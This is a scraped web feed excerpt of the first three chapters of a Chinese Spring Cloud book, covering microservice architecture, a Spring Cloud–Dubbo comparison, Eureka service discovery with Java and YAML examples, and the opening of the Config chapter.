        这个模型相当成功。几乎任何一个组织都能够使用商业操作系统附带的TCP/IP协议栈来驱动他们的业务,即使有高性能和高可靠性的要求。
        image.png
        image.png

        1.1.2 微服务架构

        随着节点和稳定连接的数量越来越多,行业中出现了各种各样的网络系统:从细粒度的分布式代理和对象,到由较大但重分布式组件组成的面向服务的架构。这样的分布式系统带来了几个难题,有一些是新出现的,也有原有难题的“升级版”。
        20世纪90年代,Peter Deutsch和他在Sun公司的同事撰写了《分布式计算的八大错误》一文,文中列出了人们在使用分布式系统时通常会做出的一些假设。Peter认为,这些假设在更原始的网络架构或理论模型中可能是真实存在的,但在现代世界中是不成立的:

        • 网络是可靠的;
        • 延迟为零;
        • 带宽是无限的;
        • 网络是安全的;
        • 拓扑是不变的;
        • 管理员实时监控维护;
        • 传输成本为零;
        • 网络是同构的。

        因此,工程师们必须处理这些问题。
        为了处理更复杂的问题,需要转向更加分散的系统(我们通常所说的微服务架构),这在可操作性方面提出了新的要求。下面则列出了必须要处理的问题:

        • 计算资源的快速提供;
        • 基本的监控;
        • 快速部署;
        • 易于扩展的存储;
        • 可轻松访问边缘;
        • 认证与授权;
        • 标准化的RPC;

        因此,尽管数十年前开发的TCP/IP协议栈和通用网络模型仍然是计算机之间相互通信的有力工具,但更复杂的架构引入了其他层面的问题。此时业界出现了微服务思想,以期解决上述问题。例如,微服务用服务发现与断路器技术来解决上面列出的几个弹性扩展和分布式问题,如图1-5所示。

        微服务架构风格是一种将一个单一应用程序开发为一组小型服务的方法,每个服务运行在自己的进程中,服务间通信采用轻量级通信机制(通常用HTTP资源API)。这些服务围绕业务能力构建并且可通过全自动部署机制独立部署。这些服务共用一个最小型的集中式的管理,服务可用不同的语言开发,使用不同的数据存储技术。
        我们为了将系统构建为微服务架构,除了服务是可独立部署、可独立扩展的之外,每个服务都提供一个固定的模块边界,甚至允许不同的服务用不同的语言开发,由不同的团队管理。图1-6展示了单体应用到微服务的简易图解。
        image.png

        然而历史往往会重演,第一批基于微服务构建的系统遵循了与前几代联网计算机类似的策略。这意味着落实上述需求的责任落在了编写服务的工程师身上。我们以服务发现和断路器来说明。
        服务发现是在满足给定查询条件的情况下自动查找服务实例的过程,例如,一个名叫Teams的服务需要找到一个名为Players的服务实例,其中该实例的environment属性设置为production。当用户调用一些提供提供服务发现的组件,它们会返回一个满足条件的服务列表。对于中心化的架构而言,这是一个非常简单的任务,通常可以使用DNS、负载均衡器和一些端口号的约定(例如,所有服务将HTTP服务器绑定到8080端口)来实现。而在更分散的环境中,任务开始变得越来越复杂,对于以前可以通过盲目信任DNS来查找依赖关系的服务,现在必须处理诸如客户端负载均衡、多种不同环境、地理位置上分散的服务器等问题。如果之前只需要一行代码来解析主机名,那么现在的服务则需要很多行代码来处理由分布式引入的各种问题。
        断路器是由Michael Nygard在其编写的《Release It》一书中引入的模式,书中对该模式的一些总结:
        断路器背后的基本思路非常简单。将一个受保护的函数调用包含在用于监视故障的断路器对象中。一旦故障达到一定阈值,则断路器跳闸,并且对断路器的所有后续调用都将返回错误,并完全不接受对受保护函数的调用。通常,如果断路器发生跳闸,还需要对其进行某种监控警报。
        随着分布式水平的提高,它们也会变得越来越复杂。系统发生错误的概率随着分布式水平的提高呈指数级增长,比如一个组件中的一个故障可能会在许多客户端和客户端的客户端上产生连锁反应,从而触发数千个电路同时跳闸。而且,以前可能只需几行代码就能处理某个问题,现在需要编写大量的代码才能处理。
        因此微服务反对之声也很强烈,认为微服务增加了系统维护、部署的难度,导致一些功能模块或代码无法复用,增加系统集成与测试的难度,而且随着系统规模增长,会导致系统越来越复杂。那么有没有一种框架或开发平台可以尽可能便捷、一站式解决上述问题呢?有!那便是Spring Cloud。

        1.2 Spring Cloud面面观

        为了降低用户构建和维护分布式系统的难度,推动微服务的落地,Spring Cloud提供了快速构建分布式微服务系统的一些常用功能,如配置管理、服务发现、断路器、智能路由、服务代理、控制总线等提供的一套开发工具。这些工具就相当于分布式系统的样板,Spring Cloud的使用者可以使用这些样板工具快速构建服务以及相关应用。这些工具能够在任何分布式环境中良好运行,如开发者的计算机、数据中心以及类似Cloud Foundry这样的管理平台。
        Spring Cloud适用于以下场景:配置管理、服务发现、断路器、智能路由、微代理、控制总线、一次性令牌、全局锁、领导选举、分布式会话、集群状态等。
        接下来从服务化架构演进的角度来讲述为什么Spring Cloud更适应微服务架构。

        1.2.1 Spring Cloud与Dubbo对比

        我们先从Nginx说起,了解为什么需要微服务。最初的服务化解决方案是给相同服务提供一个统一的域名,然后服务调用者向这个域发送HTTP请求,由Nginx负责请求的分发和跳转。
        这种架构存在很多问题:Nginx作为中间层,在配置文件中耦合了服务调用的逻辑,这削弱了微服务的完整性,也使得Nginx在一定程度上变成了一个重量级的ESB。图1-7标识出了Nginx的转发信息流走向。
        服务的信息分散在各个系统,无法统一管理和维护。每一次的服务调用都是一次尝试,服务消费方并不知道有哪些实例在给他们提供服务。这带来了一些问题:
        image.png

        • 无法直观地看到服务提供方和服务消费方当前的运行状况与通信频率;
        • 消费方的失败重发、负载均衡等都没有统一策略,这加大了开发每个服务的难度,不利于快速演化。

        为了解决上面的问题,我们需要一个现成的中心组件对服务进行整合,将每个服务的信息汇总,包括服务的组件名称、地址、数量等。服务的调用方在请求某项服务时首先通过中心组件获取提供服务的实例信息(IP、端口等),再通过默认或自定义的策略选择该服务的某一提供方直接进行访问,所以考虑引入Dubbo。
        Dubbo是阿里开源的一个SOA服务治理解决方案,文档丰富,在国内的使用度非常高。图1-8为Dubbo的基本架构图,使用Dubbo构建的微服务已经可以较好地解决上面提到的问题。
        image.png

        从图1-8中,可以看出:

        • 调用中间层变成了可选组件,消费方可以直接访问服务提供方;
        • 服务信息被集中到Registry中,形成了服务治理的中心组件;
        • 通过Monitor监控系统,可以直观地展示服务调用的统计信息;
        • 服务消费者可以进行负载均衡、服务降级的选择。

        但是对于微服务架构而言,Dubbo并不是十全十美的,也有一些缺陷。

        • Registry严重依赖第三方组件(ZooKeeper或者Redis),当这些组件出现问题时,服务调用很快就会中断。
        • Dubbo只支持RPC调用。这使得服务提供方与调用方在代码上产生了强依赖,服务提供方需要不断将包含公共代码的Jar包打包出来供消费方使用。一旦打包出现问题,就会导致服务调用出错。

        笔者认为,Dubbo和Spring Cloud并不是完全的竞争关系,两者所解决的问题域并不一样:Dubbo的定位始终是一款RPC框架,而Spring Cloud的目标是微服务架构下的一站式解决方案。如果非要比较的话,Dubbo可以类比到Netflix OSS技术栈,而Spring Cloud集成了Netflix OSS作为分布式服务治理解决方案,但除此之外Spring Cloud还提供了配置、消息、安全、调用链跟踪等分布式问题解决方案。
        当前由于RPC协议、注册中心元数据不匹配等问题,在面临微服务基础框架选型时Dubbo与Spring Cloud只能二选一,这也是大家总是拿Dubbo和Spring Cloud做对比的原因之一。Dubbo已经适配到Spring Cloud生态,比如作为Spring Cloud的二进制通信方案来发挥Dubbo的性能优势,Dubbo通过模块化以及对HTTP的支持适配到Spring Cloud。

        1.2.2 Spring Cloud好在哪里

        作为新一代的服务框架,Spring Cloud提出的口号是开发“面向云的应用程序”,它为微服务架构提供了更加全面的技术支持。结合我们一开始提到的微服务的诉求,参见表1-1,把Spring Cloud与Dubbo进行一番对比。
        image.png
        Spring Cloud抛弃了Dubbo的RPC通信,采用的是基于HTTP的REST方式。严格来说,这两种方式各有优劣。虽然从一定程度上来说,后者牺牲了服务调用的性能,但也避免了上面提到的原生RPC带来的问题。而且REST相比RPC更为灵活,服务提供方和调用方,不存在代码级别的强依赖,这在强调快速演化的微服务环境下显得更加合适。
        很明显,Spring Cloud的功能比Dubbo更加强大,涵盖面更广,而且作为Spring的拳头项目,它也能够与Spring Framework、Spring Boot、Spring Data、Spring Batch等其他Spring项目完美融合,这些对于微服务而言是至关重要的。前面提到,微服务背后一个重要的理念就是持续集成、快速交付,而在服务内部使用一个统一的技术框架,显然比将分散的技术组合到一起更有效率。更重要的是,相比于Dubbo,它是一个正在持续维护的、社区更加火热的开源项目,这就可以保证使用它构建的系统持续地得到开源力量的支持。
        下面列举Spring Cloud的几个优势。

        • Spring Cloud来源于Spring,质量、稳定性、持续性都可以得到保证。
        • Spirng Cloud天然支持Spring Boot,更加便于业务落地。
        • Spring Cloud发展得非常快,从开始接触时的相关组件版本为1.x,到现在将要发布2.x系列。
        • Spring Cloud是Java领域最适合做微服务的框架。
        • 相比于其他框架,Spring Cloud对微服务周边环境的支持力度最大。对于中小企业来讲,使用门槛较低。

        1.2.3 Spring Cloud子项目与解决方案

        我们从整体上来看一下Spring Cloud各个组件如何配套使用,如图1-9所示。
        image.png
        从图1-9可以看出,Spring Cloud各个组件相互配合,合作支持了一套完整的微服务架构。
        Spring Cloud从设计之初就考虑了绝大多数互联网公司架构演化所需的功能,这些功能都是以插拔的形式提供,方便合理选择需要的组件进行集成,从而使用过程中更加平滑、顺利。
        Spring Cloud提供了标准化的、一站式的技术方案。下面按照Spring Cloud子项目和其提供的分布式方案来分别了解Spring Cloud价值。
        系统一旦走向分布式,其复杂程度成倍增长,传统单体应用那种只考虑业务逻辑的开发方式已经不再适用。正因其复杂性,目前只有业务需求大的大型互联网公司才会(被迫)采用,而且需要投入大量的技术力量来开发基础设施,也造成了小公司“用不起”分布式架构的情况。现在这一局面正在逐渐被打破,因为Netflix开源了经过实战考验的一系列基础设施构件,加上Spring Cloud的大力支持,开发分布式系统已经不再像以前那样可怕了。
        (1)服务的注册发现和软负载均衡
        Spring Cloud Netflix通过Eureka Server实现服务注册中心,通过Ribbon实现软负载均衡。
        (2)分区治理
        Eureka支持Region和Zone的概念。其中一个Region可以包含多个Zone。Eureka在启动时需要指定一个Zone名,即当前Eureka属于哪个Zone,如果不指定则属于defaultZone。Eureka Client也需要指定Zone,Client(当与Ribbon配置使用时)在向Server获取注册列表时会优先向自己所在Zone的Eureka发请求,只有自己Zone中的Eureka全挂了才会尝试向其他Zone发请求。当获取到远程服务列表后,Client也会优先向同一个Zone的服务发起远程调用。Region和Zone可以对应于现实中的大区和机房,如在华北地区有10个机房,在华南地区有20个机房,那么分别为Eureka指定合理的Region和Zone能有效避免跨机房调用,而一个地区的Eureka坏掉也不会导致整个该地区的服务都不可用。
        (3)Ribbon软负载均衡
        Ribbon在工作时分成两步:第一步先选择Eureka Server,优先选择同一个Zone且负载较少的Server,第二步再根据用户指定的策略,在从Server取到的服务注册列表中选择一个地址。其中Ribbon默认提供了三种策略:轮询、断路器和根据响应时间加权。
        (4)声明式HTTP RESTful客户端Feign
        Feign与Apache Http Client这类客户端最大的不同,是它允许通过定义接口的形式构造HTTP请求,不需要手动拼参数,使用起来与正常的本地调用没有什么区别:
        @FeignClient(name = "ea")
        public interface AdvertGroupRemoteService {

        @RequestMapping(value = "/group/{groupId}", method = RequestMethod.GET)
        AdvertGroupVO findByGroupId(@PathVariable("groupId") Integer adGroupId);

        }
        这里只需要调用AdvertGroupRemoteService.findByGroupId()方法就能完成向目标主机发送HTTP请求并封装返回结果的效果。
        (5)断路器
        断路器(Cricuit Breaker)是一种能够在远程服务不可用时自动熔断(打开开关),并在远程服务恢复时自动恢复(闭合开关)的设施,Spring Cloud通过Netflix的Hystrix组件提供断路器、资源隔离与自我修复功能。
        (6)资源隔离
        Hystrix对每一个依赖服务都配置了一个线程池,对依赖服务的调用会在线程池中执行。例如,我们设计服务I的线程池大小为20,那么Hystrix会最多允许有20个容器线程调用服务I,如果超出20,Hystrix会拒绝并快速失败。这样即使服务I长时间未响应,容器最多也只能堵塞20个线程,剩余80个线程仍然可以处理用户请求。
        (7)快速失败
        快速失败是防止资源耗尽的关键一点。当Hystrix发现在过去某段时间内对服务I的调用出错率达到某个阈值时,Hystrix就会“熔断”该服务,后续任何发向服务I的请求都会快速失败,而不是白白让调用线程去等待。
        (8)自我修复
        处于熔断状态的服务,在经过一段时间后,Hystrix会让其进入“半关闭”状态,即允许少量请求通过,然后统计调用的成功率。如果这个请求能成功,Hystrix会恢复该服务,从而达到自我修复的效果。其中,在服务被熔断到进入半关闭状态之间的时间,就是留给开发人员排查错误并恢复故障的时间,开发人员可以通过监控措施得到提醒并线上排查。
        (9)监控方案
        监控是保障分布式系统健康运行必不可少的方案。基于Spring Cloud,我们可以从两个纬度进行监控:Hystrix断路器的监控和每个服务监控状况的监控。
        图1-10是Hystrix提供的Dashboard图形化监控。
        可见图1-10中监控信息应有尽有(调用成功率、平时响应时间、调用频次、断路器状态等)。可以通过编程的方式定时获取该信息,并在断路器熔断时通过短信、邮件等方式通知开发者。
        Hystrix的监控数据默认保存在每个实例的内存中,Spring Boot提供了多种方式,可以导入到Redis、TSDB以供日后分析使用。
        image.png
        除此之外,Spring Cloud还提供了对单个实例的监控,如图1-11所示。其中包含了接口调用频次、响应时间、JVM状态、动态日志等各种开发者关心的信息。

        Spring Cloud的版本介绍

        (1)版本命名
        之前提到过,Spring Cloud是一个拥有诸多子项目的大型综合项目,原则上其子项目也都维护着自己的发布版本号。每一个Spring Cloud的版本都会包含不同的子项目版本,为了管理每个版本的子项目清单,避免版本名与子项目的发布号混淆,没有采用版本号的方式,而是通过命名的方式。这些版本采用了伦敦地铁站的名字,根据字母表的顺序来对应版本时间顺序,比如:最早的Release版本为Angel,第二个Release版本为Brixton,依此类推。
        (2)版本号
        经过上面的解释,不难猜出,Angel.SR6和Brixton.SR5中的SR6、SR5就是版本号了。
        当一个版本的Spring Cloud项目的发布内容积累到临界点或者一个严重bug解决后,就会发布一个“service releases”版本,简称SRX版本,其中X是一个递增数字。
        (3)当前版本
        我们在选择Spring Boot与Spring Cloud版本的时候,还是需要尽可能按照Spring Cloud官方版本依赖关系来选择:

        • Brixton版本对应Spring Boot 1.3.x;
        • Camden版本对应Spring Boot 1.4.x;
        • Dalston版本对应Spring Boot 1.5.x。

        image.png
        在开始正式介绍每个项目之前,需要准备如表1-2所示的环境。
        image.png

        1.3 小结

        微服务架构将一个应用拆分成多个独立的、具有业务属性的服务,每个服务运行在不同的进程中,服务与服务之间通过轻量级的通信机制互相协作、互相配合,从而为终端用户提供业务价值。因此,微服务架构强调的是一种独立开发、独立测试、独立部署、独立运行的高度自治的架构模式,也是一种更灵活、更开放、更松散的演进式架构。
        希望通过本章所介绍的微服务的定义、核心特征、优缺点,以及微服务实现框架Spring Cloud的综合介绍,大家能够对微服务以及Spring Cloud有全面的了解,接下来的章节将逐一、详细介绍Spring Cloud的各个组件。

        ]]>
        带你读《极简Spring Cloud实战》之二:服务发现:Eureka Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章
        第2章

        服务发现:Eureka

        服务发现是微服务架构中的一个重要概念。试想当系统服务之间的依赖越来越多,A服务可能需要调用B、C、D等服务,同时被调用方也就是服务提供方可能为了保证自身高可用,还需要同时以集群的模式部署B1、B2、C1、C2等,想象一下A的配置文件该有多复杂。将服务提供方的地址写死在配置文件中,那么服务提供方如果横向扩展增加实例,是不是还需要修改作为服务调用方的A的配置文件?这时我们就迫切需要一种服务发现的机制。所有的服务提供方启动时向注册中心报告自身的信息,包括自己的地址、端口,以及提供哪些服务等相关信息。当服务调用方需要调用服务时,只需要问注册中心是谁提供了相关的服务,注册中心返回哪些提供方提供了这些服务,调用方就可以自己根据注册中心返回的信息去请求了。Eureka就提供了这样一种能力,同时自身作为注册中心的同时也提供了高可用的支持,支持集群部署时各个节点之间的注册数据同步复制。
        Eureka是Netflix开源的一款提供服务注册和发现的产品,提供了完整的服务注册和服务发现实现,也是Spring Cloud体系中最重要、最核心的组件之一。
        通俗讲,Eureka就是一个服务中心,将所有可以提供的服务都注册到它这里来管理,其他各调用者需要的时候去注册中心获取,然后服务调用方再向服务提供方发起调用,避免了服务之间的直接调用,方便后续的水平扩展、故障转移等。
        所以,服务中心这么重要的组件一旦宕机将会影响全部服务,因此需要搭建Eureka集群来保持高可用性,建议生产中最少配备两台。随着系统流量的不断增加,需要根据情况来扩展某个服务,Eureka内部提供均衡负载的功能,只需要增加相应的服务端实例即可。那么在系统的运行期间某个实例宕机怎么办?Eureka提供心跳检测机制,如果某个实例在规定的时间内没有进行通信则会被自动剔除掉,避免了某个实例挂掉而影响服务。
        因此,使用Eureka就自动具有了注册中心、负载均衡、故障转移的功能。
        它主要包括两个组件。

        • Eureka Client:一个Java客户端,用于简化与Eureka Server的交互(通常就是微服务中的客户端和服务端)。
        • Eureka Server:提供服务注册和发现的能力(通常就是微服务中的注册中心)。

        各个微服务启动时,会通过Eureka Client向Eureka Server注册自己,Eureka Server会存储该服务的信息,如图2-1所示。
        image.png

        也就是说,每个微服务的客户端和服务端都会注册到Eureka Server,这就衍生出了微服务相互识别的话题。

        • 同步:每个Eureka Server同时是Eureka Client(逻辑上的),多个Eureka Server之间通过复制的方式完成服务注册表的同步,从而实现Eureka的高可用。
        • 识别:Eureka Client会在本地缓存Eureka Server中的信息。
          即使所有Eureka Server节点都宕掉,服务消费方仍可使用本地缓存中的信息找到服务提供方。
        • 续约:微服务会周期性(默认30s)地向Eureka Server发送心跳以续约(Renew)自己的信息(类似于heartbeat机制)。
        • 续期:Eureka Server会定期(默认60s)执行一次失效服务检测功能,它会检查超过一定时间(默认90s)没有续约的微服务,发现则会注销该微服务节点。
          当一个注册器客户端通过Eureka进行注册时,它会带上一些描述自己情况的元数据,如地址、端口、健康指示器地址、主页等。Eureka会接收每一个服务实例发送的心跳包。如果心跳包超过配置的间隔时间,则这个服务实例就会被移除。

        2.1 使用Eureka

        接下来尝试一个Eureka的示例。
        新建一个Maven项目,在pom.xml中添加对Eureka服务端的依赖:

        <groupId>org.springframework.cloud</groupId>
        <artifactId>spring-cloud-starter-eureka-server</artifactId>


        新建EurekaServerApplication.java,添加@EnableEurekaServer注解:
        @SpringBootApplication
        @EnableEurekaServer
        public class EurekaServerApplication {

        public static void main(String[] args) {
            SpringApplication.run(EurekaServerApplication.class, args);
        }

        }
        启动程序后,打开http://localhost:8080/ 就可以看到如图2-2所示的监控页面,图中展示了向Eureka注册的所有客户端。
        image.png

        2.1.1 Eureka服务提供方

        启动一个服务提供方并注册到Eureka。新建一个项目并在pom.xml中添加依赖:

        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-eureka</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        新建EurekaProviderApplication.java,并对外暴露一个sayHello的HTTP接口。
        @SpringBootApplication
        @EnableEurekaClient
        @RestController
        public class EurekaProviderApplication {

        @RequestMapping("/sayHello")
        public  String sayHello(String name){
            return "hello "+name;
        }
        public static void main(String[] args) {
            new SpringApplicationBuilder(EurekaProviderApplication.class).web(true).run(args);
        }

        }
        在application.yml配置Eureka服务端地址以及自身服务名称:
        eureka:

        client:
            serviceUrl:
                defaultZone: http://localhost:8761/eureka/ #在注册中心配置Eureka地址

        spring:

        application:
            name: myprovider #自身名字

        启动EurekaProviderApplication后,再去看Eureka的监控页面,应该能看到如图2-3所示信息,表明服务已经注册到Eureka。
        image.png
        还有一种方法就是直接使用原生的com.netflix.discovery.EurekaClient(对应Spring Cloud的DiscoveryClient)。通常,尽量不要直接使用原始的Netflix的Eureka Client,因为Spring已经对其进行封装抽象,应尽可能使用DiscoveryClient。

        2.1.2 Eureka服务调用方

        一旦在应用中使用了@EnableDiscoveryClient或者@EnableEurekaClient,就可以从Eureka Server中使用服务发现功能。
        利用如下代码,通过DiscoveryClient可以从Eureka服务端获得所有提供myprovider服务的实例列表,并根据获得的ServiceInstance对象获取每个提供方的相关信息,如端口IP等,从中选取第一个提供方,通过Spring的RestTemplate发起HTTP请求进行调用。对于获取到的提供方集合,我们根据什么规则去选取哪个提供方?能否做到负载均衡呢?这将在第5章详细介绍。
        @SpringBootApplication
        @EnableDiscoveryClient
        @Slf4j
        @RestController
        public class EurekaClientApplication {

        @Bean
        public RestTemplate restTemplate(){
            return new RestTemplate();
        }
        @Autowired
        private DiscoveryClient client;
        @Autowired
        private RestTemplate restTemplate;
        @RequestMapping(value = "/sayHello" ,method = RequestMethod.GET)
        public String sayHello(String name) {
            List<ServiceInstance> instances = client.getInstances("myprovider");
            if (!instances.isEmpty()) {
                ServiceInstance instance = instances.get(0);
                log.info(instance.getUri().toString());
                String result=restTemplate.getForObject(instance.getUri().toString()+ "/sayHello?name="+name,String.class);
                return  result;
            }
            return  "failed";
        }
        public static void main(String[] args) {
            SpringApplication.run(EurekaClientApplication.class, args);
        }

        }
        此时,我们通过HTTP请求调用/sayHello接口,则可以看到服务调用方从Eureka获取服务提供方信息,并进行调用的日志信息了。
        不要在@PostConstruct方法以及@Scheduled中(或者任何ApplicationContext还没初始完成的地方)使用EurekaClient。其需要等待SmartLifecycle(phase=0)初始化完成才可以。

        2.2 进阶场景

        尝试过Eureka的基本使用场景后,虽然功能能够实现,但是落实到具体的企业级应用场景时,必然会有许多需要自定义的配置以及一些生产环境可能需要用到的参数。下面列出一些场景供读者参考。
        (1)Eureka的健康检查
        默认情况下,Eureka通过客户端心跳包来检测客户端状态,并不是通过spring-boot-actuator模块的/health端点来实现的。默认的心跳实现方式可以有效地检查Eureka客户端进程是否正常运作,但是无法保证客户端应用能够正常提供服务。由于大多数微服务应用都会有一些外部资源依赖,比如数据库、Redis缓存等,如果应用与这些外部资源无法连通时,实际上已经不能提供正常的对外服务了,但因为客户端心跳依然在运行,所以它还是会被服务消费者调用,而这样的调用实际上并不能获得预期的效果。当然,我们可以开启Eureka的健康检查,这样应用状态就可以同步给Eureka了。在application.yml中添加如下配置即可:
        eureka:

        client:
            healthcheck:
                enabled:true

        Eureka中的实例一共有如下几种状态:UP、DOWN、STARTING、OUT_OF_SERVICE、UNKNOWN。如果需要更多的健康检查控制,可以实现com.netflix.appinfo.Health-CheckHandler接口,根据自己的场景进行操作。
        eureka.client.healthcheck.enabled=true只能在application.yml中设置,如果在bootstrap.yml中设置,会导致Eureka注册为UNKNOWN的状态。
        (2)自我保护模式
        Eureka在设计时,认为分布式环境的网络是不可靠的,可能会因网络问题导致Eureka Server没有收到实例的心跳,但是这并不能说明实例宕了,所以Eureka Server默认会打开保护模式,它主要是网络分区场景下的一种保护。
        一旦进入保护模式,Eureka Server将会尝试保护其服务注册表中的信息,不再删除里面的数据(即不会注销任何微服务)。在这种机制下,它仍然鼓励客户端再去尝试调用这个所谓down状态的实例,当网络故障恢复后,该Eureka Server节点会自动退出自我保护模式。若确实调用失败,熔断器就派上用场了。
        关于熔断器,第6章会详细介绍并演示。
        通过修改注册中心的配置文件application.yml,即可打开或关闭注册中心的自我保护模式:
        eureka:

        server:
            enable-self-presaervation: false           #关闭自我保护模式(默认为打开)

        综上,自我保护模式是一种应对网络异常的安全保护措施。它的理念是宁可同时保留所有实例(健康实例和不健康实例都会保留),也不盲目注销任何健康的实例。使用自我保护模式,可以让Eureka集群更加健壮、稳定。
        (3)踢出宕机节点
        自我保护模式打开时,已关停节点是一直显示在Eureka首页的。
        关闭自我保护模式后,由于其默认的心跳周期比较长等原因,要过一会儿才会发现已关停节点被自动踢出了。若想尽快踢出,就只能修改默认的心跳周期参数了。
        注册中心的配置文件application.yml需要修改的地方如下所示:
        eureka:

        server:
            enable-self-preservation: false       # 关闭自我保护模式(默认为打开)
            eviction-interval-timer-in-ms: 1000   # 续期时间,即扫描失效服务的间隔时间
                                                    (默认为60*1000ms)

        客户端的配置文件application.yml需要修改的地方为:
        eureka:

        instance:
            lease-renewal-interval-in-seconds: 5   # 心跳时间,即服务续约间隔时间(默认为30s)
            lease-expiration-duration-in-seconds: 15  # 发呆时间,即服务续约到期时间(默认为90s)
        client:
            healthcheck:
                enabled: true          #开启健康检查(依赖spring-boot-starter-actuator)

        更改Eureka Server的更新频率将打破注册中心的自我保护功能,不建议生产环境自定义这些配置。
        (4)注册服务慢的问题
        客户端去注册中心默认持续30s,直到实例自身、服务端、客户端各自元数据本地缓存同步完成后服务才可用(至少需要3次心跳周期)。可以通过eureka.instance.leaseRenewalIntervalInSeconds修改这个周期,改善客户端链接到服务的速度。不过,考虑短期的网络波动以及服务续期等情况,在生产环境最好用默认设定。
        (5)服务状态显示UNKNOWN
        如果在Eureka监控页面发现服务状态显示UNKNOWN,则很大可能是把微服务的eureka.client.healthcheck.enabled属性配置在bootstrap.yml里面的问题。比如,实际测试发现,Eureka首页显示的服务状态,本应是UP(1),却变成大红色的粗体UNKNOWN(1)。
        (6)自定义InstanceId
        两个相同的服务(端口不同),如果注册时设置的都是${spring.application.name},那么Eureka首页只会看到一个服务名字,而无法区分有几个实例注册上来了。于是,可以自定义生成InstanceId的规则。
        Eureka服务名默认如下:
        ${spring.cloud.client.hostname}:${spring.application.name}:${spring.application.instance_id:${server.port}}
        可以在配置文件中通过eureka.intance.intance_id来自定义:
        eureka:

        instance:
            #修改显示的微服务名为:IP:端口
            instance-id: ${spring.cloud.client.ipAddress}:${server.port}  

        (7)自定义Eureka控制台服务的链接
        既然微服务显示的名称允许修改,那么其对应的点击链接也是可以修改的。
        同样,还是修改微服务的配置文件,如下所示:
        eureka:

        instance:
            # ip-address: 192.168.6.66  #只有prefer-ip-address=true时才会生效
            prefer-ip-address: true     #设置微服务调用地址为IP优先(默认为false)

        Eureka首页显示的微服务调用地址,默认是http://hostName:port/info
        而在设置prefer-ip-address=true之后,调用地址会变成http://ip:port/info
        这时若再设置ip-address=192.168.6.66,则调用地址会变成http://192.168.6.66:2100/info
        (8)健康度指示器
        一个Eurake实例的状态页和健康指示器默认为/info和/health,这两个是由Spring Boot Actuator应用提供的访问端点。可以通过以下方式进行修改:
        application.yml
        eureka:

        instance:
            statusPageUrlPath: ${management.context-path}/info
            healthCheckUrlPath: ${management.context-path}/health

        这些地址会被用于Eureka对客户端元数据的获取,以及健康检测。
        (9)就近原则
        用户量比较大或者用户地理位置分布范围很广的项目,一般都会有多个机房。这个时候如果上线服务的话,我们希望一个机房内的服务优先调用同一个机房内的服务,当同一个机房的服务不可用时,再去调用其他机房的服务,以达到减少延时的作用。Eureka有Region和Zone的概念,可以理解为现实中的大区(Region)和机房(Zone)。Eureka Client在启动时需要指定Zone,它会优先请求自己Zone的Eureka Server获取注册列表。同样,Eureka Server在启动时也需要指定Zone。如果没有指定,其会默认使用defaultZone。
        (10)高可用配置
        Eureka Server也支持运行多实例,并以互相注册的方式(即伙伴机制)来实现高可用的部署,即每一台Eureka都在配置中指定另一个Eureka地址作为伙伴,它在启动时会向伙伴节点获取注册列表。如此一来,Eureka集群新加机器时,就不用担心注册列表的完整性。所以,只需要在Eureka Server里面配置其他可用的serviceUrl,就实现了注册中心的高可用。
        我们新建两个Eureka服务端项。第1个服务端项为EurekaServer1项目中的配置文件
        /src/main/resources/application.yml。
        server:

        port: 8989

        eureka

        serviceUrl: 
            defaultZone: 

        第2个服务端项为EurekaServer2项目中的配置文件/src/main/resources/application.yml。
        server:

        port: 9898

        eureka

        serviceUrl: 
            defaultZone: 

        启动Server1、Server2后,分别访问http://127.0.0.1:8989/eureka/http://127.0.0.1:9898/eureka/ ,发现DS Replicas、General Info模块出现了对方的信息。读者可以自行测试,分别单独向Server1或者Server2进行服务注册时,都会自动同步给另外一个注册中心。
        在生产环境中大于两台注册中心的条件下,可以同理将其配置成如图2-4所示的双向环形。
        image.png

        2.3 小结

        本章详细讲解了Eureka组件的工作原理,并结合示例介绍了Eureka的服务提供方和服务调用方的使用步骤。在进阶场景章节中我们深入探究了各个场景下使用Eureka的各种解决方案与自定义场景的配置。下个章开始学习如何使用Config组件来对Eureka以及其他组件进行动态化配置。

        ]]>
        带你读《极简Spring Cloud实战》之三:配置中心:Config Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章
        第3章

        配置中心:Config

        对于传统的单体应用,配置文件可以解决配置问题,但是当多机部署时,修改配置依然是烦琐的问题。
        在微服务中,由于系统拆分的粒度更小,微服务的数量比单体应用要多得多(基本上多一个数量级),通过配置文件来管理配置变得更不可行。
        所以,对于微服务架构而言,一个通用的分布式配置管理是必不可少的。在大多数微服务系统中,都会有一个名为“配置文件”的功能模块来提供统一的分布式配置管理。
        在研发流程中有测试环境、UAT环境、生产环境等隔离,因此每个微服务又对应至少三个不同环境的配置文件。这么多的配置文件,如果需要修改某个公共服务的配置信息,如缓存、数据库等,难免会产生混乱,这时就需要引入Spring Cloud的另外一个组件:Spring Cloud Config。
        Spring Could Config是一个提供了分布式配置管理功能的Spring Cloud子项目。在以往的单体应用中往往是代码与配置文件放在一个应用包中,但是随着系统的体量越来越大,我们会将系统分成多个服务,对于这么多服务的配置管理以及热生效等方面的支持将会越来越麻烦。Spring Cloud Config完美解决了这些问题。
        在市面上有一些开源产品,如百度的DisConf、淘宝的Diamond,以及很多基于ZooKeeper的各个公司自主开发的产品。这些产品可能由于某些问题已经停止维护,导致文档资料不全、重复造轮子等各种问题。而Spring Cloud Config由于可与Spring无缝集成、功能强大、社区活跃等各方面原因,成为开发中不可不着重考虑的一项技术。

        3.1 Spring Cloud Config的组成

        Spring Cloud Config项目提供了如下的功能支持:

        • 提供服务端和客户端支持;
        • 集中式管理分布式环境下的应用配置;
        • 基于Spring环境,与Spring应用无缝集成;
        • 可用于任何语言开发的程序;
        • 默认实现基于Git仓库,可以进行版本管理;
        • 可替换自定义实现;
        • Spring Cloud Config Server作为配置中心服务端;
        • 拉取配置时更新Git仓库副本,保证是最新结果;
        • 支持数据结构丰富,包括yml、json、properties等;
        • 配合Eureka可实现服务发现,配合Spring Cloud Bus可实现配置推送更新;
        • 配置存储基于Git仓库,可进行版本管理;
        • 简单可靠,有丰富的配套方案;
        • Spring Cloud Config Client提供(如SVN、Local等)开箱即用的客户端实现;
        • Spring Boot项目不需要改动任何代码,加入一个启动配置文件指明使用Config Server中哪个配置文件即可。

